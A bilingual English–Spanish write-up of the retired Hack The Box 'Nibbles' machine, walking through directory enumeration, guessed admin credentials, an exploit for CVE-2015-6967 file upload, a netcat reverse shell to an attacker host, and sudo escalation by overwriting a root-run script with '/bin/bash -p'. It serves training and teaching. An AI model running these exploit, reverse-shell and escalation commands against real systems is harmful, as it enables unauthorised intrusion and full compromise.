Nibbles
Executive summary — Nibbles is an Easy Linux box teaching a full but approachable chain: a hidden Nibbleblog is discovered, entered with weak credentials (
admin:nibbles), and exploited via an arbitrary file upload (CVE-2015-6967) for RCE; then asnibbler, a script runnable viasudoand editable by us yields root. A web → CMS → RCE → sudo → root path. Not a technically hard box, but proof that a chain of small mistakes is enough to fully compromise a system.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.96.84 |
Attack map
[80] gobuster → /nibbleblog (Nibbleblog CMS)
│ admin.php · weak credentials (admin:nibbles)
│ CVE-2015-6967 — arbitrary file upload («My image» plugin) → RCE
▼
[SHELL] nibbler (user.txt)
│ sudo -l → NOPASSWD monitor.sh (packed inside personal.zip, writable by nibbler)
▼
[ROOT] echo "/bin/bash -p" > monitor.sh → sudo ./monitor.sh
1. Reconnaissance
As with any box, the first step is identifying the attack surface before trying anything:
nmap -sC -sV -p- 10.129.96.84
-sC runs Nmap's default scripts (they usually give useful info with zero extra setup), -sV detects service versions, and -p- scans all 65535 TCP ports, not just the common ones.
22/tcp open ssh
80/tcp open http
SSH without credentials is no direct way in, though it may matter later (e.g. if we get a key). Port 80 gives us a web surface that almost always deserves deep enumeration, so that's the logical next focus.
Resumen ejecutivo — Nibbles es un Linux Easy que enseña una cadena completa pero asequible: se descubre un Nibbleblog oculto, se entra con credenciales débiles (
admin:nibbles) y se explota una subida de fichero arbitraria (CVE-2015-6967) para RCE; ya comonibbler, un script ejecutable porsudoy editable por nosotros da root. Recorrido web → CMS → RCE → sudo → root. No es una máquina técnicamente difícil, pero demuestra que una cadena de pequeños fallos basta para comprometer un sistema por completo.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.96.84 |
Mapa del ataque
[80] gobuster → /nibbleblog (Nibbleblog CMS)
│ admin.php · credenciales débiles (admin:nibbles)
│ CVE-2015-6967 — subida de fichero arbitraria (plugin «My image») → RCE
▼
[SHELL] nibbler (user.txt)
│ sudo -l → NOPASSWD monitor.sh (empaquetado en personal.zip, editable por nibbler)
▼
[ROOT] echo "/bin/bash -p" > monitor.sh → sudo ./monitor.sh
1. Reconocimiento
Como en cualquier máquina, el primer paso es identificar qué superficie de ataque tenemos antes de intentar nada:
nmap -sC -sV -p- 10.129.96.84
-sC lanza los scripts por defecto de Nmap (suelen dar información útil sin configurar nada más), -sV detecta versiones de servicio y -p- escanea los 65535 puertos TCP, no solo los más comunes.
22/tcp open ssh
80/tcp open http
SSH sin credenciales no sirve de entrada directa, pero puede ser útil más adelante (recibir una clave, por ejemplo). El puerto 80 nos da una superficie web que casi siempre merece una enumeración profunda, así que el siguiente paso lógico es centrarnos ahí.
2. Web enumeration
We visit the homepage looking for clues: application name, source comments, hidden links, forms, interesting paths, or patterns pointing at a known CMS or framework.
http://10.129.96.84
The homepage showed little at first glance. That doesn't mean there's nothing there — it means we need to force directory enumeration.
gobuster dir -u http://10.129.96.84 -w /usr/share/wordlists/dirb/common.txt
/nibbleblog
Key finding:
/nibbleblogtells us there's a CMS (Nibbleblog). That opens several angles at once: there may be an admin panel, default or weak credentials, and known vulnerable versions. From here, all enumeration focuses on/nibbleblog.
3. Admin panel and weak credentials
PHP applications usually have admin routes at predictable paths. We try admin.php:
http://10.129.96.84/nibbleblog/admin.php
A login form appears. Finding an authenticated panel changes the scenario: we're no longer just enumerating a public web app, there's now a zone that could hold administrative functions with real impact. Before reaching for brute force, we try logical credentials:
admin : nibbles
The reasoning:
adminis the most common username for admin panels, and a password derived from the app's own name (Nibbleblog→nibbles) is a realistic bet — it happens often in CTFs and in misconfigured real environments too. Not a CVE: a bad practice (predictable credentials). Once in, we no longer need to break the app from outside: it's time to see which authenticated features could turn into code execution.
4. RCE via automated exploit — CVE-2015-6967
Nibbleblog 4.0.3 is vulnerable to CVE-2015-6967: the «My image» plugin allows uploading an arbitrary file (a .php) without validating the type, giving code execution. Instead of uploading the file manually from the panel, we use a public, ready-made exploit (nibbleblog_4.0.3.py) that automates login + interaction with the vulnerable feature + upload/execution. The upside is speed; the downside is that if you don't understand its syntax, you can get stuck on a typo instead of on the box itself.
And that's exactly what happened. The first attempt failed from typing python 3 (with a space) instead of python3: Python interprets the 3 as a filename argument:
can't open file ... /3
The second issue was a stray space in the password flag (- p nibbles instead of -p nibbles), and the third was firing -rce with no argument:
argument -rce: expected one argument
-rceneeds the remote command as an argument (-rce "whoami"). These are syntax mistakes, not the box's fault — it's worth reading the exploit's own error message before assuming something is broken.
With the syntax fixed, the exploit call looks like this:
python3 nibbleblog_4.0.3.py -t http://10.129.96.84/nibbleblog/ -u admin -p nibbles -rce "whoami"
Good practice: before going for a reverse shell, run a simple command (
whoami,id,pwd) to confirm execution without getting into connection issues or unstable shells yet.
5. Reverse shell
With command execution confirmed, we set up an interactive shell: a listener on the attacking box and a payload that makes the victim connect back.
nc -lvnp 4444
-l listens, -v is verbose mode to see the connection, -n skips name resolution, and -p 4444 sets the port. After firing the exploit, the listener catches the connection:
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.96.84] 49108
sh: 0: can't access tty; job control turned off
The
can't access tty; job control turned offwarning is completely typical for basic reverse shells: it doesn't mean it failed, just that the shell doesn't have a full interactive terminal yet.
whoami
nibbler
We're no longer working against the web app alone: we have an OS shell under the nibbler user. Listing the current directory:
ls
ls -la
db.xml
image.php
rse.php
Mind the directory: those files belong to the exploited plugin, not the user's home. That's why
cat user.txtfails at first withNo such file or directory— it's not a permissions issue or a missing flag, we're simply in the wrong directory. A reverse shell from a web exploit drops you in the app directory, not$HOME: locate yourself before hunting flags.
6. User flag
cd /home
ls
nibbler
cd nibbler
ls
personal.zip
user.txt
cat user.txt
9371d7b6873002bc2fc16ee1d424ca49
With the user flag read, the access phase is done; from here the goal is purely privilege escalation.
7. Privilege escalation
One of the most profitable commands right after getting a system shell is checking what we can run with sudo:
sudo -l
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
We can run
monitor.shas root, no password. If we also control that script's content, root will execute whatever we want. But the indicated path doesn't visibly exist yet:
cd /home/nibbler/personal/stuff
can't cd to /home/nibbler/personal/stuff
This doesn't invalidate the escalation path: it just means the personal/ folder isn't deployed as a plain directory. We recall the personal.zip seen in the home — the script is packed inside it:
cd /home/nibbler
unzip personal.zip
personal/
personal/stuff/
personal/stuff/monitor.sh
Now the exact same file
sudo -lnamed as root-runnable physically exists. Only one step remains for the escalation.
Before continuing, we upgrade the basic Netcat shell into something more usable (fewer issues with sudo and the terminal):
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
We now know two things: monitor.sh runs as root via sudo, and nibbler can modify it. The strategy is to overwrite its content with something that hands us a privileged shell:
cd personal/stuff
echo "/bin/bash -p" > monitor.sh
chmod +x monitor.sh
Bash's
-pflag is the key here: it makes the shell preserve the elevated privileges it's launched with, instead of dropping to the real UID of the invoking user.
And we run it via sudo:
sudo ./monitor.sh
whoami
root
8. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Nibbleblog admin panel | Weak, predictable credentials (admin:nibbles) | Authenticated CMS access |
| Foothold | Nibbleblog «My image» plugin | CVE-2015-6967 — arbitrary file upload with no type validation | RCE as nibbler |
| PrivEsc | sudo + own script | User-editable script (monitor.sh) runnable as root (NOPASSWD) | Root |
Lessons learned
- You don't always need a big vulnerability. Here initial access came in part from a simple bad practice: weak, predictable credentials.
- Understanding the exploit matters more than just running it. An automated script saves time, but if you don't get its syntax, any typo (a stray space, a flag missing its argument) blocks you just as hard as a real box issue would.
- A reverse shell from a web exploit drops you in the app directory, not
$HOME: locate yourself before hunting flags. sudo -lis still one of the most profitable commands after a shell: it can reveal the path to root in seconds.- A missing path doesn't mean the vector is dead. Here the script named by sudo was hidden inside an unextracted ZIP.
- Never grant
sudoNOPASSWD over a script the user can edit: it's a root shell in disguise.
2. Enumeración web
Visitamos la portada buscando pistas: nombre de la aplicación, comentarios en el código fuente, enlaces ocultos, formularios, rutas interesantes o patrones que delaten un CMS o framework conocido.
http://10.129.96.84
La página principal no mostraba gran cosa a simple vista. Eso no significa que no haya nada: significa que hay que forzar la enumeración de directorios.
gobuster dir -u http://10.129.96.84 -w /usr/share/wordlists/dirb/common.txt
/nibbleblog
Hallazgo clave:
/nibbleblognos dice que hay un CMS (Nibbleblog). Eso ya abre varias líneas de ataque: puede existir un panel admin, puede haber credenciales por defecto o débiles, y puede haber versiones vulnerables conocidas. A partir de aquí, toda la enumeración se concentra en/nibbleblog.
3. Panel de administración y credenciales débiles
En muchas aplicaciones PHP, las rutas de administración siguen patrones muy comunes. Probamos admin.php:
http://10.129.96.84/nibbleblog/admin.php
Apareció un formulario de login. Encontrar un panel autenticado cambia el escenario: ya no estamos enumerando una web pública, sino que hay una zona con posibles funciones administrativas de impacto real. Antes de recurrir a fuerza bruta, probamos credenciales lógicas:
admin : nibbles
El razonamiento:
admines el usuario más común para paneles de administración, y una contraseña derivada del nombre de la propia aplicación (Nibbleblog→nibbles) es una apuesta realista — en CTF y también en entornos mal configurados, ocurre con frecuencia. No es un CVE: es una mala práctica (credenciales previsibles). Una vez dentro, ya no hace falta romper la aplicación desde fuera: toca analizar qué funciones autenticadas ofrece y si alguna puede transformarse en ejecución de código.
4. RCE con exploit automatizado — CVE-2015-6967
Nibbleblog 4.0.3 es vulnerable a CVE-2015-6967: el plugin «My image» permite subir un fichero arbitrario (un .php) sin validar el tipo, lo que da ejecución de código. En lugar de subir el archivo manualmente desde el panel, usamos un exploit público ya preparado (nibbleblog_4.0.3.py) que automatiza login + interacción con la parte vulnerable + subida/ejecución. La ventaja es la rapidez; la desventaja es que si no entiendes su sintaxis, te puedes quedar atascado en un typo en vez de en la máquina.
Y eso pasó exactamente aquí. El primer intento falló por escribir python 3 (con espacio) en vez de python3: Python interpreta el 3 como si fuera un nombre de fichero:
can't open file ... /3
El segundo fallo fue un espacio de más en el flag de contraseña (- p nibbles en vez de -p nibbles), y el tercero fue lanzar -rce sin argumento:
argument -rce: expected one argument
-rcenecesita el comando remoto entre comillas (-rce "whoami"). Son errores de sintaxis, no de la máquina — merece la pena pararse a leer el mensaje de error del propio exploit antes de asumir que algo está roto.
Con la sintaxis corregida, el exploit queda así:
python3 nibbleblog_4.0.3.py -t http://10.129.96.84/nibbleblog/ -u admin -p nibbles -rce "whoami"
Buena práctica: antes de la reverse shell, probar un comando simple (
whoami,id,pwd) para confirmar la ejecución sin meterse aún en problemas de conexión o shells inestables.
5. Reverse shell
Con la ejecución de comandos confirmada, preparamos una shell interactiva: un listener en la máquina atacante y un payload que haga que la víctima se conecte de vuelta.
nc -lvnp 4444
-l escucha, -v es modo verbose para ver la conexión, -n evita resolver nombres y -p 4444 fija el puerto. Tras lanzar la explotación, el listener recibe la conexión:
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.96.84] 49108
sh: 0: can't access tty; job control turned off
El aviso
can't access tty; job control turned offes totalmente típico en reverse shells básicas: no significa que haya fallado, solo que la shell no tiene una terminal interactiva completa todavía.
whoami
nibbler
Ya no trabajamos solo contra la aplicación web: tenemos una shell del sistema operativo bajo el usuario nibbler. Al listar el directorio actual:
ls
ls -la
db.xml
image.php
rse.php
Ojo con el directorio: esos ficheros pertenecen al plugin explotado, no al home del usuario. Por eso
cat user.txtfalla al principio conNo such file or directory— no es un problema de permisos ni de que la flag no exista, sino que estamos en el directorio incorrecto. Una reverse shell desde una explotación web te deja en el directorio de la app, no en$HOME: hay que situarse antes de buscar flags.
6. User flag
cd /home
ls
nibbler
cd nibbler
ls
personal.zip
user.txt
cat user.txt
9371d7b6873002bc2fc16ee1d424ca49
Con la user flag leída, queda resuelta la parte de acceso de usuario; a partir de aquí el objetivo es exclusivamente escalar a root.
7. Escalada de privilegios
Uno de los comandos más rentables nada más entrar como usuario del sistema es comprobar qué podemos ejecutar con sudo:
sudo -l
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Podemos ejecutar
monitor.shcomo root, sin contraseña. Si además controlamos el contenido de ese script, root ejecutará lo que queramos. Pero la ruta indicada todavía no existe de forma visible:
cd /home/nibbler/personal/stuff
can't cd to /home/nibbler/personal/stuff
Esto no invalida la escalada: solo indica que la carpeta personal/ no está desplegada como directorio normal. Recordamos el personal.zip visto en el home — ahí está empaquetado el script:
cd /home/nibbler
unzip personal.zip
personal/
personal/stuff/
personal/stuff/monitor.sh
Ahora sí existe físicamente el mismo fichero que
sudo -ldecía que podíamos ejecutar como root. Solo queda un paso para la escalada.
Antes de continuar, mejoramos la shell básica de Netcat a una sesión más usable (menos problemas con sudo y con el terminal):
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ya sabemos dos cosas: que monitor.sh se ejecuta como root vía sudo, y que nibbler puede modificarlo. La estrategia es reemplazar su contenido por algo que entregue una shell privilegiada:
cd personal/stuff
echo "/bin/bash -p" > monitor.sh
chmod +x monitor.sh
La opción
-pde Bash es la clave: hace que la shell preserve los privilegios elevados con los que se lanza, en vez de bajarlos al UID real del usuario que la invoca.
Y la ejecutamos con sudo:
sudo ./monitor.sh
whoami
root
8. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Panel admin de Nibbleblog | Credenciales débiles y previsibles (admin:nibbles) | Acceso autenticado al CMS |
| Foothold | Plugin «My image» de Nibbleblog | CVE-2015-6967 — subida de fichero arbitrario sin validar tipo | RCE como nibbler |
| PrivEsc | sudo + script propio | Script (monitor.sh) editable por el usuario y ejecutable como root (NOPASSWD) | Root |
Lecciones aprendidas
- No siempre hace falta una gran vulnerabilidad. Aquí el acceso inicial vino en parte de una mala práctica simple: credenciales débiles y previsibles.
- Entender el exploit importa más que ejecutarlo. Un script automatizado ahorra tiempo, pero si no entiendes su sintaxis, cualquier typo (un espacio de más, un flag sin argumento) te bloquea igual que un fallo de la máquina.
- Una reverse shell desde un exploit web te deja en el directorio de la app, no en
$HOME: sitúate antes de buscar flags. sudo -lsigue siendo de los comandos más rentables tras conseguir una shell: puede revelar el camino a root en segundos.- Que una ruta no exista no significa que el vector esté muerto. Aquí el script indicado por sudo estaba oculto dentro de un ZIP sin descomprimir.
- Nunca des
sudoNOPASSWD sobre un script que el usuario puede editar: es una shell de root disfrazada.